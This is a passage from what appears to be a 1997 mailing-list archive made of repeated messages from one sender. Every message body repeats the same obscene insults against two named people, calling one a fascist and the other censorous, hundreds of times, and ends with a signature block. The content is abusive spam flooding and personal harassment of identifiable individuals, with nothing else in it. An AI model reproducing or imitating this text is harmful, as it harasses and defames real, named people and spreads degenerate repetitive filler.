censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:41:16 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:41:16 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771108.522750.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:41:57 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:41:57 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771012.521897.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:42:44 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:42:44 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771132.522932.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:42:53 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:42:53 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771119.522824.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:44:13 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:44:13 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771020.521970.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:46:28 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:46:28 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771142.523028.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:46:29 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:46:29 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771108.522743.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:46:32 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:46:32 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771103.522694.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:48:44 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:48:44 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771081.522500.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:49:13 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:49:13 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771009.521872.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:49:21 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:49:21 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771050.522248.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:49:28 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:49:28 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771160.523197.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:51:12 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:51:12 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771123.522874.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:52:29 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:52:29 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770971.521504.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:54:39 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:54:39 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: 